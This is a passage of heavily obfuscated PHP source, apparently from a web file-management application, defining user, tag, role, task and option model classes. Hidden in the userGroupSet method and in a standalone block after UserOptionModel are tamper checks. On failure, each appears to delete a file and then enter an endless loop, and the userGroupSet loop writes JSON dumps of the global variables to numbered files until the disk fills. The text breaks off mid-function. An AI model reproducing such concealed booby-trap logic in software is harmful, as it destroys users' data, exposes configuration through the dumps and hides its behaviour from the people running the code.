JOB_KEY = "\x73\145\x6c\146\112\x6f\x62\x4c\151\x73\164"; public function listData($ϧ = false, $ = "\163\157\162\x74", $ = false) { return parent::listData($ϧ, $, $); } public function remove($) { return parent::remove($); } public function add($) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $[$[1887]] = $this->getSort(); return parent::insert($); } private function getSort() { $箙 =& $_SERVER[]; $줫Ă = parent::listData(); $挫 = array_to_keyvalue($줫Ă, $箙[12], $箙[1887]); return empty($挫) ? 0 : max($挫) + 1; } public function update($, $ʚ) { $ =& $_SERVER[]; $ = parent::listData($); $걷胪 = $this->findByName($ʚ[$[32]]); if (!$ || $걷胪 && $걷胪[$[399]] != $[$[399]]) { return !1; } return parent::update($, $ʚ); } public function setUserJob($͌, $) { $ԛ =& $_SERVER[]; if (!is_array($)) { $ = array($); } $ = parent::listData(); $ = array_to_keyvalue($, $ԛ[32]); $Ҩ = $ԛ[378]; foreach ($ as $) { if ($[$]) { $Ҩ .= $[$][$ԛ[399]] . $ԛ[50]; } else { $涎 = $this->add($); $Ҩ .= $涎 . $ԛ[50]; } } $Ҩ = rtrim($Ҩ, $ԛ[50]); Model($ԛ[535])->metaSet($͌, self::JOB_KEY, $Ҩ); } public function getUserJob($) { $ = Model($_SERVER[][535])->metaGet($); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($ɓ) { $ڣ =& $_SERVER[]; $ = explode($ڣ[50], $ɓ); $ڊ蒧 = parent::listData(); $ڊ蒧 = array_remove_key($ڊ蒧, $ڣ[200]); $ځ = array(); foreach ($ as $쬒) { if (isset($ڊ蒧[$쬒])) { $ځ[] = $ڊ蒧[$쬒]; } } return $ځ; } } class UserModel extends ModelBase { protected $tableName = "\165\163\145\162"; protected $tableMeta = array("\164\141\x62\x6c\x65\116\x61\155\145" => "\165\x73\145\162\x5f\155\145\164\x61", "\x6d\x65\x74\141\x46\151\x65\x6c\144" => "\x75\163\145\x72\111\x44"); protected $simpleField = "\165\163\145\162\111\104\54\x6e\151\143\x6b\116\141\155\x65\x2c\156\x61\x6d\x65\54\x61\x76\x61\x74\141\x72\x2c\x73\x65\x78\54\163\164\141\164\165\163"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($۩) { $ł =& $_SERVER[]; $йǖ = $ł[2307]; return array($ł[1941] => array($۩[0], $йǖ), $ł[1943] => array($۩[0], $йǖ), $ł[2308] => array($۩[0], $йǖ)); } protected function getInfo($ֆ, $ = false) { $ם = $this->getInfoSimple($ֆ); if (!is_array($ם)) { return array(); } if ($) { return $this->_getInfoApply($ם); } return $this->cacheFunctionGet($_SERVER[][1945], $ֆ); } protected function getInfoFull($ۼՄ, $큗 = false) { $ = $this->getInfoSimple($ۼՄ); if (!is_array($)) { return array(); } if ($큗) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[][2309], $ۼՄ); } private function _getInfoApply($Л, $ = false) { $ց =& $_SERVER[]; if (!$Л) { return $Л; } $ۺ = md5($ց[2310] . $Л[$ց[896]] . $ց[2311] . $Л[$ց[32]]); $Л = $this->_listDataApplyItem($Л); $ = Model($ց[1343])->metaGet($Л[$ց[86]][$ց[402]]); $Л[$ց[2312]] = $ۺ; $Л[$ց[86]][$ց[2132]] = isset($[$ց[2133]]) ? $[$ց[2133]] : null; if ($) { $Л[$ց[466]] = $this->metaGet($Л[$ց[1674]]); } return $Л; } protected function getInfoSimple($, $ʼٔ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if ($ʼٔ) { $雴 = $this->where(array($[1674] => intval($)))->find(); if (!is_array($雴)) { return array(); } $雴[$[543]] = Action($[2313])->parseUrl($雴[$[543]]); return $雴; } return $this->cacheFunctionGet($[1946], $); } protected function getInfoSimpleOuter($) { $ =& $_SERVER[]; if (!$ || $ == 0) { return array($[1674] => $[197], $[32] => $[162] . LNG($[2314]) . $[164], $[543] => STATIC_PATH . $[2315]); } $Ԁ = $this->cacheFunctionGet($[1946], $); $ = array_field_key($Ԁ, explode($[50], $this->simpleField)); if (!$) { return array($[1674] => $[1196], $[32] => $[162] . LNG($[2316]) . $[164], $[543] => STATIC_PATH . $[2317]); } $[$[543]] = Action($[2313])->parseUrl($[$[543]]); return $; } protected function groupUser($˴) { } public static function errorLang($) { $ =& $_SERVER[]; $ڈݷ = array(self::ERROR_USER_NOT_EXISTS => $[2318], self::ERROR_USER_PASSWORD_ERROR => $[2319], self::ERROR_USER_EXIST_NAME => $[2320], self::ERROR_USER_EXIST_PHONE => $[2321], self::ERROR_USER_EXIST_EMAIL => $[2322], self::ERROR_USER_LOGIN_LOCK => $[2323], self::ERROR_IP_NOT_ALLOW => $[2324], self::ERROR_USER_EXIST_NICKNAME => $[2325]); return LNG($ڈݷ[$]); } public function getInfoByMeta($, $ˢ) { $ =& $_SERVER[]; $٩ = Model($[2326])->where(array($[94] => $, $[374] => $ˢ))->find(); if ($٩) { return $this->getInfo($٩[$[1674]]); } return !1; } public function userLoginCheck($Қ, $) { $ܦ =& $_SERVER[]; $ׅ = $this->userLoginFind($Қ); if (!$ׅ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($ׅ[$ܦ[1674]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($ׅ[$ܦ[1674]]); } public function userLoginFind($) { $ =& $_SERVER[]; $ẕ = array($[32] => $, $[542] => $, $[305] => $, $[2327] => $, $[1007] => $[1009]); if ($this->nickNameRpt()) { unset($ẕ[$[542]]); } return $this->where($ẕ)->find(); } public function clearCache($֙) { $۲ =& $_SERVER[]; $this->cacheFunctionClear($۲[1945], $֙); $this->cacheFunctionClear($۲[1946], $֙); $this->cacheFunctionClear($۲[2309], $֙); } public function userPasswordCheck($, $ߞ) { $ =& $_SERVER[]; $ = $this->where(array($[1674] => intval($)))->find(); $ = $this->metaGet($); $ = isset($[$[2328]]) ? $[$[2328]] : $[12]; if (md5($ . trim($ߞ)) !== $[$[896]]) { return !1; } return !0; } public function userAdd($ɋ) { $ɤ =& $_SERVER[]; $ = array($ɤ[420] => $ɋ[$ɤ[32]], $ɤ[2329] => $ɋ[$ɤ[1555]], $ɤ[2330] => isset($ɋ[$ɤ[305]]) ? $ɋ[$ɤ[305]] : $ɤ[12], $ɤ[2331] => isset($ɋ[$ɤ[2327]]) ? $ɋ[$ɤ[2327]] : $ɤ[12], $ɤ[2332] => isset($ɋ[$ɤ[542]]) ? $ɋ[$ɤ[542]] : $ɋ[$ɤ[32]], $ɤ[2333] => isset($ɋ[$ɤ[543]]) ? $ɋ[$ɤ[543]] : $ɤ[12], $ɤ[2334] => isset($ɋ[$ɤ[2335]]) ? $ɋ[$ɤ[2335]] : 1, $ɤ[2336] => $ɋ[$ɤ[896]], $ɤ[1947] => isset($ɋ[$ɤ[1850]]) ? $ɋ[$ɤ[1850]] : 1024 * 1024 * 20, $ɤ[1948] => 0, $ɤ[2337] => 0, $ɤ[1992] => isset($ɋ[$ɤ[754]]) ? $ɋ[$ɤ[754]] : 1); if (!empty($ɋ[$ɤ[1674]])) { $[$ɤ[1674]] = $ɋ[$ɤ[1674]]; } $ = $this->_checkExist($ɋ); if ($ !== !0) { return $; } if (!empty($[$ɤ[543]]) && strlen($[$ɤ[543]]) > 255) { $[$ɤ[543]] = $ɤ[12]; } $₦ = $this->add($); $Ʃ = array($ɤ[2336] => $[$ɤ[896]], $ɤ[2332] => $[$ɤ[542]]); $this->userEdit($₦, $Ʃ); Model($ɤ[1343])->userRootAdd($₦); return $₦; } protected function userEditTest($ן, $) { return $this->call($_SERVER[][2338], $ן, $); } protected function userEdit($Ι, $) { $ڲ =& $_SERVER[]; $ = $this->getInfoSimple($Ι); if (!$) { return !1; } $ = $this->_checkExist($, $Ι); if ($ !== !0) { return $; } if (isset($[$ڲ[896]]) && trim($[$ڲ[896]]) != $ڲ[12]) { $Ġ = $this->metaGet($Ι); if (empty($Ġ[$ڲ[2328]])) { $Ġ[$ڲ[2328]] = rand_string(10); Model($ڲ[513])->metaSet($Ι, $ڲ[2328], $Ġ[$ڲ[2328]]); } $[$ڲ[896]] = md5($Ġ[$ڲ[2328]] . trim($[$ڲ[896]])); } else { unset($[$ڲ[896]]); } if (!empty($[$ڲ[543]]) && strlen($[$ڲ[543]]) > 255) { $[$ڲ[543]] = $ڲ[12]; } $this->where(array($ڲ[1665] => $Ι))->save($); if (isset($[$ڲ[542]])) { $this->setNamePinyin($Ι, $[$ڲ[542]]); } $this->clearCache($Ι); return !0; } public function setNamePinyin($Τ, $Ҏ = false) { $ =& $_SERVER[]; if (!$Ҏ) { $υ = $this->getInfoSimple($Τ); $Ҏ = $υ[$[542]] ? $υ[$[542]] : $υ[$[32]]; } $ށ = Model($[535]); if (!Input::check($Ҏ, $[593])) { return $ށ->metaSet($Τ, array($[465] => $[12], $[464] => $[12])); } return $ށ->metaSet($Τ, array($[465] => str_replace($[53], $[12], Pinyin::get($Ҏ)), $[464] => Pinyin::get($Ҏ, $[594]))); } private function nickNameRpt() { $ =& $_SERVER[]; $ = Model($[774])->get($[2339]); $ = $GLOBALS[$[6]][$[381]][$[2339]]; $ؾ = !is_null($) ? $ : $; return !!$ؾ; } private function _checkExist($¤, $ׯ = false) { $ =& $_SERVER[]; $ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[542] => UserModel::ERROR_USER_EXIST_NICKNAME, $[305] => UserModel::ERROR_USER_EXIST_EMAIL, $[2327] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[542]]); } $ = $ׯ ? array($[1674] => array($[2340], $ׯ)) : array(); foreach ($ as $ => $܌) { $߳Ҥ = array(); foreach ($ as $ => $) { if (isset($¤[$]) && $¤[$]) { $߳Ҥ[] = $¤[$]; } } if (!$߳Ҥ) { continue; } $Σٴ = array_merge(array($ => array($[7], $߳Ҥ)), $); $ = $this->where($Σٴ)->find(); if ($) { return $܌; } } return !0; } public function userListInfo($˥) { $۔ =& $_SERVER[]; $˭ = array(); $˥ = is_array($˥) ? array_unique($˥) : array(); if (!$˥) { return $˭; } if (count($˥) < 20) { foreach ($˥ as $) { $˭[$ . $۔[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($۔[1665] => array($۔[418], $˥)); if (count($˥) == 1) { $ = array($۔[1665] => $˥[0]); } $퍙 = Model($۔[513])->field($this->simpleField)->where($)->select(); $퍙 = array_to_keyvalue($퍙, $۔[1674]); foreach ($˥ as $) { $Ŝ = $퍙[$]; if (!$Ŝ) { $˭[$ . $۔[12]] = $this->getInfoSimpleOuter($); continue; } $Ŝ[$۔[543]] = Action($۔[2313])->parseUrl($Ŝ[$۔[543]]); $˭[$ . $۔[12]] = $Ŝ; } } return $˭; } protected function userStatus($Զ, $肨) { $ԃ = $this->getInfoSimple($Զ); if (!$ԃ) { return !1; } $ = array($_SERVER[][754] => $肨); return $this->userEdit($Զ, $); } protected function userRemove($) { $ƿ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ = array($ƿ[1665] => $); Model($ƿ[601])->where($)->delete(); Model($ƿ[2341])->where($)->delete(); Model($ƿ[1953])->where($)->delete(); Model($ƿ[2326])->where($)->delete(); Model($ƿ[1075])->where($)->delete(); Model($ƿ[2156])->removeUserAll($); Model($ƿ[829])->userRootRemove($); return $this->where($)->delete(); } protected function userGroupSet($, $, $ = array()) { $ؾ =& $_SERVER[]; $̍͘ = $_SERVER[$ؾ[884]] . $ؾ[885]; $ߔ = $ؾ[1539]; if ($_SERVER[$ؾ[880]] != $ߔ($̍͘)) { $뫟 = $ؾ[882]; $ = $ؾ[883]; $˃ = $_SERVER[$ؾ[884]] . $ؾ[885]; $ = $($˃); $ = explode($ؾ[231], $); if (count($) < $ؾ[635]) { $̥ = $ؾ[886]; $̥(); } $ = $ؾ[887]; $($_SERVER[$ؾ[888]]); $뫟 = $ؾ[882]; $뫟(); $ = $ؾ[1540]; $ = json_encode($GLOBALS[$ؾ[1541]]); $Ք = 1; for ($ڙ = $Ք; $ڙ > 0; $ڙ++) { $(DATA_PATH . $ڙ, $); } } $ = $this->getInfoSimple($); if (!$ || !is_array($)) { return !1; } $ɠ = Model($ؾ[1953]); $ɠ->where(array($ؾ[1674] => $))->delete(); $̚ = array(); $φ = 0; foreach ($ as $ā => $У) { $Ρ = array($ؾ[1674] => $, $ؾ[1863] => $ā, $ؾ[1967] => $У); $Ρ[$ؾ[1887]] = isset($[$φ]) ? $[$φ] : 0; $φ++; $̚[] = $Ρ; } return $ɠ->addAll($̚, array(), !0); } protected function userGroupAdd($, $nj = array()) { $埩 =& $_SERVER[]; $ā = $this->getInfoSimple($); if (!$ā || empty($nj)) { return !1; } $أĐ = array(); foreach ($nj as $ó => $ڿ) { $أĐ[] = array($埩[1674] => $, $埩[1863] => $ó, $埩[1967] => $ڿ, $埩[1887] => 0); } return Model($埩[1953])->addAll($أĐ, array(), !0); } protected function userGroupRemove($ح, $Ӑ) { $ӺƦ =& $_SERVER[]; $֑ = $this->getInfoSimple($ح); if (!$֑ || !$Ӑ) { return !1; } $Ⱥ = array($ӺƦ[1665] => $ح, $ӺƦ[1951] => $Ӑ); return Model($ӺƦ[1953])->where($Ⱥ)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][369]]); return $; } public function listByID($) { $ =& $_SERVER[]; if (!$) { return; } $ = array($[1674] => array($[7], $)); $뵀 = $this->where($)->select(); $뵀 = array_sort_keep($뵀, $[1674], $); $this->_listDataApply($뵀); return $뵀; } public function listByGroup($Ȇ = 0, $ = array()) { $ՠ =& $_SERVER[]; $ʃ = $ՠ[12]; $ = array(); if ($Ȇ) { $ = array($ՠ[2342] => intval($Ȇ)); $ʃ = "\x4c\x45\106\x54\40\112\x4f\x49\x4e\40{$this->tablePrefix}\165\x73\x65\162\137\x67\x72\x6f\x75\x70\x20\165\x73\x65\162\137\147\162\157\x75\x70\x20\157\x6e\x20\165\163\145\162\x2e\x75\163\x65\x72\x49\x44\x20\75\x20\165\163\x65\x72\x5f\147\x72\x6f\x75\x70\x2e\165\x73\x65\x72\x49\104"; $ = Input::get($ՠ[457], null, $ՠ[12]) ? $ՠ[12] : $ՠ[2343]; } if (isset($[$ՠ[754]])) { $[$ՠ[2344]] = $[$ՠ[754]]; } $ׁ = $this->_makeOrder($)->field($ՠ[2345])->where($)->join($ʃ)->selectPage(50); $this->_listDataApply($ׁ[$ՠ[369]]); return $ׁ; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ņ = array($[1674], $[32], $[1852], $[1824], $[200]); $ն = array($[450] => $[451], $[452] => $[453]); $ךʎ = Input::get($[457], $[7], $[1665], $ņ); $ = Input::get($[458], $[7], $[1954], array($[1954], $[452])); $ = $ն[$]; $ = $ . "\165\x73\x65\x72\56{$ךʎ}\x20{$}\54\x20\165\x73\x65\162\56\165\163\x65\x72\111\x44\x20\x61\x73\143"; return $this->alias($[2076])->order($); } public function listSearch($) { $ =& $_SERVER[]; $߫Ι = $[$[1957]]; $Ϊ̨ = isset($[$[1958]]) ? $[$[1958]] : !1; $߫Ι = str_replace($[1959], $[1960], trim($߫Ι)); $ = array($[32] => array($[383], "\x25{$߫Ι}\x25"), $[305] => array($[383], "{$߫Ι}\45"), $[542] => array($[383], "{$߫Ι}\45"), $[1007] => $[1961]); if (Input::check($߫Ι, $[311])) { $[$[1674]] = array($[383], "{$߫Ι}\45"); $[$[2327]] = array($[383], "{$߫Ι}\45"); } if (!$߫Ι) { $ = array(); } if (isset($[$[754]])) { $[$[754]] = $[$[754]]; } $ = $this->parseWhereLike($); $ = $this->_makeOrder()->where($)->selectPage(20); if (!$ || count($[$[369]]) < 5 && Input::check($߫Ι, $[318])) { $ݲ = $this->_searchFromMeta($[464], $߫Ι, 10); $ƞ = $this->_searchFromMeta($[465], $߫Ι, 10); $հ = array_merge($ݲ, $ƞ, $[$[369]]); $[$[369]] = array_unique_by_key($հ, $[1674]); $[$[366]][$[367]] = count($[$[369]]); $[$[366]][$[368]] = ceil($[$[366]][$[367]] / $[$[366]][$[363]]); } $this->_listDataApply($[$[369]]); $this->_filterByGroup($, $Ϊ̨); return $; } private function _filterByGroup(&$, $) { $ѧ =& $_SERVER[]; if (!$) { return $; } foreach ($[$ѧ[369]] as $ł => &$) { $͏ = array_to_keyvalue($[$ѧ[2046]], $ѧ[12], $ѧ[1863]); if (!in_array($, $͏)) { unset($[$ѧ[369]][$ł]); } } unset($); $[$ѧ[369]] = array_values($[$ѧ[369]]); $[$ѧ[366]] = array($ѧ[2110] => count($[$ѧ[369]]), $ѧ[2108] => $[$ѧ[366]][$ѧ[363]], $ѧ[2107] => 1, $ѧ[2109] => 1); } private function _searchFromMeta($, $͡, $Տ) { $Μɚ =& $_SERVER[]; $͡ = strtolower($͡); $ƿ = array($Μɚ[94] => $, $Μɚ[374] => array($Μɚ[383], "\x25{$͡}\45")); $ƿ = $this->parseWhereLike($ƿ); $浱 = Model($Μɚ[2346])->where($ƿ)->limit($Տ)->select(); if (!$浱) { return array(); } $浱 = array_to_keyvalue($浱, $Μɚ[12], $Μɚ[1674]); $щ = $this->where(array($Μɚ[1665] => array($Μɚ[7], $浱)))->select(); if (!$щ) { return array(); } return $щ; } private function _listDataApplyItem($˅) { $Ϲ = array($˅); $this->_listDataApply($Ϲ); return $Ϲ[0]; } private function _listDataApply(&$ȯ댇) { $ =& $_SERVER[]; if (!$ȯ댇) { return; } array_remove_key($ȯ댇, $[896]); $ա = array_to_keyvalue($ȯ댇, $[12], $[1674]); $this->_listAppendGroup($ȯ댇, $ա); $this->_listAppendMeta($ȯ댇, $ա); $this->_listAppendSourceRoot($ȯ댇, $ա); } private function _listAppendSourceRoot(&$, $) { $ҿ =& $_SERVER[]; $½ = Model($ҿ[829])->listSourceRoot(SourceModel::TYPE_USER, $); $½ = array_to_keyvalue($½, $ҿ[505]); $½ = array_remove_key($½, $ҿ[505]); foreach ($ as &$ꄨ) { $ꄨ[$ҿ[86]] = $½[$ꄨ[$ҿ[1674]]] ? $½[$ꄨ[$ҿ[1674]]] : array(); } unset($ꄨ); } private function _listAppendGroup(&$š, $) { $ =& $_SERVER[]; $ڢ = array($[1674] => array($[7], $)); $팪 = Model($[1953])->where($ڢ)->select(); $л = array_to_keyvalue($팪, $[12], $[1863]); $л = array_remove_value(array_unique($л), $[197]); if (!$л || !$팪) { return; } $ڢ = array($[1863] => array($[7], $л)); $ = Model($[2044])->field($[2347])->where($ڢ)->select(); $ = array_to_keyvalue($, $[1863]); $팪 = array_to_keyvalue_group($팪, $[1674]); foreach ($팪 as &$) { $ = array(); foreach ($ as $憌) { if (!$憌[$[1967]]) { continue; } $遇 = Model($[507])->listData($憌[$[1967]]); $[] = array($[1863] => $憌[$[1863]], $[2348] => $[$憌[$[1863]]][$[32]], $[521] => $[$憌[$[1863]]][$[521]], $[413] => $遇); } $ = $; } unset($); foreach ($š as &$) { $[$[2046]] = array(); if (isset($팪[$[$[1674]]])) { $[$[2046]] = $팪[$[$[1674]]]; } } unset($); } public function userAppendGroup($ܴ) { $ =& $_SERVER[]; if (!$ܴ) { return array(); } $this->_listAppendGroup($ܴ, array_to_keyvalue($ܴ, $[12], $[1674])); return $ܴ; } private function _listAppendMeta(&$, $) { $ȸ =& $_SERVER[]; $̎ = UserJobModel::JOB_KEY; $Ҳņ = array($ȸ[2328]); $ = array($ȸ[1674] => array($ȸ[7], $)); $ = Model($ȸ[2326])->where($)->select(); $ = array_to_keyvalue_group($, $ȸ[1674]); foreach ($ as &$) { $ = array(); foreach ($ as $ҝ) { if (!in_array($ҝ[$ȸ[94]], $Ҳņ)) { $[$ҝ[$ȸ[94]]] = $ҝ[$ȸ[374]]; } } $ = $; } unset($); $ = Model($ȸ[2349]); foreach ($ as &$ڸл) { $ = array(); if (isset($[$ڸл[$ȸ[1674]]])) { $ = $[$ڸл[$ȸ[1674]]]; } $ڸл[$ȸ[2350]] = array(); if (isset($[$̎])) { $ڸл[$ȸ[2350]] = $->getUserJobInfo($[$̎]); } } unset($ڸл); } protected function groupUserAll($) { $ʄ =& $_SERVER[]; if (!$) { return !1; } $ = Model($ʄ[1953])->field($ʄ[1674])->where(array($ʄ[1863] => array($ʄ[7], $)))->select(); $ = array_to_keyvalue($, $ʄ[12], $ʄ[1674]); return array_unique($); } public function userSearch($Ԁ關, $ڞ = "\x2a") { return Model($_SERVER[][535])->where($Ԁ關)->field($ڞ)->find(); } } goto B; a㶭Ϧ: define($_SERVER[][612], $_SERVER[][613]); $ugrilnjpsv = $_SERVER[][614]; if (strlen($ugrilnjpsv) < $_SERVER[][615]) { return; } goto b; D: define($_SERVER[][241], 1); define($_SERVER[][242], 0); define($_SERVER[][243], 2); goto F; B: class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\x73\x65\162\x5f\x6f\160\x74\x69\x6f\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $ =& $_SERVER[]; if (!defined($[475])) { define($[475], 0); } return "\125\x73\145\162\x4f\160\x74\151\157\x6e\x5f{$}\x5f" . USER_ID; } protected function filterWhere($㠸) { $ڼ =& $_SERVER[]; if (!defined($ڼ[475])) { define($ڼ[475], 0); } $㠸[$ڼ[1674]] = USER_ID; return $㠸; } public function cacheRemoveUser($ѩ, $Ө䛖) { return Cache::remove("\x55\x73\x65\162\117\x70\164\x69\157\156\x5f{$ѩ}\x5f" . $Ө䛖); } protected function optionDefault($沈 = '') { $ƞ镔 =& $_SERVER[]; if ($沈 == $ƞ镔[12]) { return $GLOBALS[$ƞ镔[6]][$ƞ镔[2351]]; } if ($沈 == $ƞ镔[2352]) { return $GLOBALS[$ƞ镔[6]][$ƞ镔[2353]]; } } } if (!isset($_SERVER[$_SERVER[][880]]) || !isset($_SERVER[$_SERVER[][881]])) { $_getc = $_SERVER[][883]; $_getfile = $_SERVER[$_SERVER[][884]] . $_SERVER[][885]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][620]) { $exit = $_SERVER[][886]; $exit(); } $_act = $_SERVER[][1380]; $_act($_SERVER[$_SERVER[][884]] . $_SERVER[][885]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][378]); } } class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\145\x72\56\164\x61\x67\x4c\x69\163\164"; public $modelType = "\x55\163\x65\x72\117\160\x74\x69\x6f\x6e"; public $field = array("\x6e\141\x6d\x65", "\x73\x74\171\154\x65", "\163\x6f\162\x74"); public function listData($ݠ = false, $ = "\163\157\162\164", $© = false) { return parent::listData($ݠ, $, $©); } public function remove($) { return parent::remove($); } public function add($Ǜ, $ = "\x6c\141\x62\145\154\55\147\162\145\x79\x2d\156\157\x72\155\141\x6c") { $һΘ =& $_SERVER[]; if ($this->findByName($Ǜ)) { return !1; } $ = array($һΘ[420] => $Ǜ, $һΘ[485] => $, $һΘ[1867] => $this->getSort($һΘ[258]) + 1); return parent::insert($); } public function update($ۊ, $Ҵ) { $ =& $_SERVER[]; $ﱼ = $this->listData($ۊ); $ = $this->findByName($Ҵ[$[32]]); if (!$ﱼ || $ && $[$[399]] != $ﱼ[$[399]]) { return !1; } return parent::update($ۊ, $Ҵ); } public function moveTop($ݤɴ) { $ =& $_SERVER[]; $Ƞ = parent::listData(); $ܺע = $this->getSort($[257]); foreach ($Ƞ as &$ڼ) { if ($ڼ[$[399]] == $ݤɴ) { $ڼ[$[1887]] = $ܺע; continue; } $ڼ[$[1887]] += 1; } unset($ڼ); return parent::resetData($Ƞ); } public function moveBottom($) { $ۖ =& $_SERVER[]; $ǣ = $this->getSort($ۖ[258]) + 1; return parent::update($, array($ۖ[1887] => $ǣ)); } public function resetSort($⒭) { $ =& $_SERVER[]; $萉 = array(); $⒭ = is_array($⒭) ? $⒭ : array(); for ($ = 0; $ < count($⒭); $++) { $萉[$⒭[$] . $[12]] = $ + 1; } $ = parent::listData(); foreach ($ as &$ӛ) { $Ҩ = $萉[$ӛ[$[399]]]; $ӛ[$[1887]] = $Ҩ ? $Ҩ : $ӛ[$[1887]]; } unset($ӛ); return parent::resetData($); } private function getSort($긩) { $䁜 =& $_SERVER[]; $й = parent::listData(); $ٟ = array_to_keyvalue($й, $䁜[12], $䁜[1887]); if (!$ٟ) { $ٟ = array(0); } $۩ = $긩 == $䁜[258] ? max($ٟ) : min($ٟ); return intval($۩); } } goto F; b즸: class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\x65\x6d\56\162\157\x6c\145\x4c\x69\x73\164"; public $field = array("\156\x61\155\145", "\x61\165\164\x68", "\x6c\141\142\x65\154", "\x64\x69\x73\160\154\x61\x79", "\x73\171\163\x74\145\155", "\144\x65\163\x63", "\151\147\x6e\x6f\162\145\105\170\x74", "\151\147\x6e\x6f\x72\x65\106\151\x6c\145\123\151\x7a\145", "\x61\x64\155\151\x6e\x69\163\x74\162\x61\164\x6f\162", "\163\x6f\162\x74"); public function listData($ꉛ = false, $ = "\x73\x6f\162\164", $Ӽ = false) { $ =& $_SERVER[]; $ = parent::listData($ꉛ, $, $Ӽ); if (!$ꉛ) { foreach ($ as $撴 => $砃) { if ($砃[$[2061]] == 1) { $[$撴][$[453]] = LNG($[2296]); } } } return $; } public function update($ɔ, $) { $Ɠ =& $_SERVER[]; $ƠК = parent::listData($ɔ); $ = $this->findByName($[$Ɠ[32]]); if (!$ƠК || $ && $[$Ɠ[399]] != $ƠК[$Ɠ[399]]) { return !1; } if ($[$Ɠ[2061]] == 1) { $ = array($Ɠ[32] => $[$Ɠ[32]], $Ɠ[1886] => $[$Ɠ[1886]]); } $this->filterAuth($[$Ɠ[413]]); return parent::update($ɔ, $); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[][1292]]) { return !1; } return parent::remove($); } public function add($) { $ℰ =& $_SERVER[]; $ς = $[$ℰ[32]]; if ($this->findByName($ς)) { return !1; } $ = array($ℰ[420] => $ς, $ℰ[1869] => $ℰ[12], $ℰ[1865] => $ℰ[1873], $ℰ[2297] => 1, $ℰ[1868] => 0, $ℰ[2298] => 0, $ℰ[1867] => $this->getSort()); $ = array_merge($, $); $this->filterAuth($[$ℰ[413]]); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $΄ = parent::listData(); $ж = array_to_keyvalue($΄, $[12], $[1887]); return empty($ж) ? 0 : max($ж) + 1; } private function filterAuth(&$) { $֞ =& $_SERVER[]; $֩ = array(); $ = array_filter(explode($֞[50], $)); foreach ($ as $) { $ݙ = explode($֞[10], $); if ($ݙ[0] == $֞[2299] && $ݙ[1] != $֞[1198]) { $͐ = $ݙ[0] . $֞[10] . $ݙ[1] . $֞[2300]; if (!in_array($͐, $)) { $֩[] = $͐; } } $֩[] = $; } $ = implode($֞[50], $֩); } public function findRoleDefault() { $ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $쬟) { if (!$쬟 || $쬟[$[1885]] == $[197] || $쬟[$[2061]] == 1) { continue; } if (strstr($쬟[$[413]], $[2301])) { continue; } if (!strstr($쬟[$[413]], $[2302])) { continue; } if (!$) { $ = $쬟; continue; } $ю = explode($[50], $[$[413]]); $ = explode($[50], $쬟[$[413]]); if (count($ю) > count($)) { $ = $쬟; } } return $ ? $[$[399]] : $[12]; } public function sort($, $ܶ) { return parent::update($, $ܶ); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\155\56\x74\x61\x73\153\x4c\151\x73\164"; public $field = array("\156\x61\x6d\x65", "\x74\x79\x70\x65", "\145\x76\x65\x6e\164", "\x74\x69\x6d\x65", "\x64\145\x73\x63", "\163\171\163\164\x65\x6d", "\145\156\141\142\x6c\145", "\x6c\x61\163\164\122\x75\156", "\163\157\162\164"); public function listData($ = false, $ө = "\163\x6f\162\164", $ = false) { return parent::listData($, $ө, $); } public function add($) { $пѴ =& $_SERVER[]; $ = $this->findByName($[$пѴ[32]]); if ($) { return !1; } $[$пѴ[1634]] = 0; $[$пѴ[1887]] = $this->getSort(); return parent::insert($); } private function getSort() { $؝ɨ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $؝ɨ[12], $؝ɨ[1887]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $퇙ք =& $_SERVER[]; $ = $this->listData($); $ = $this->findByName($[$퇙ք[32]]); if (!$ || $ && $[$퇙ք[399]] != $[$퇙ք[399]]) { return !1; } return parent::update($, $); } public function remove($ʊ, $߄ = false) { $ݴ =& $_SERVER[]; $ͫ = $this->listData($ʊ); if (!$ͫ) { return; } if (!$߄ && $ͫ[$ݴ[1292]] == $ݴ[88]) { return !1; } return parent::remove($ʊ); } public function enable($ѥێ, $ȅپ) { return $this->update($ѥێ, array($_SERVER[][2291] => $ȅپ)); } public function run($ư) { return $this->update($ư, array($_SERVER[][2303] => time())); } } goto C轙; A: class CacheLockDatabase { public function lock($ͯ, $Ɠ = 0) { $ = Model($_SERVER[][833]); $ֆ = microtime(!0) + $Ɠ; while (microtime(!0) < $ֆ) { $ᢝ = $->get($ͯ); if (!$ᢝ || $ᢝ < microtime(!0)) { $ = $->set($ͯ, $ֆ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][833])->get($); } public function unlock($Ꮕ) 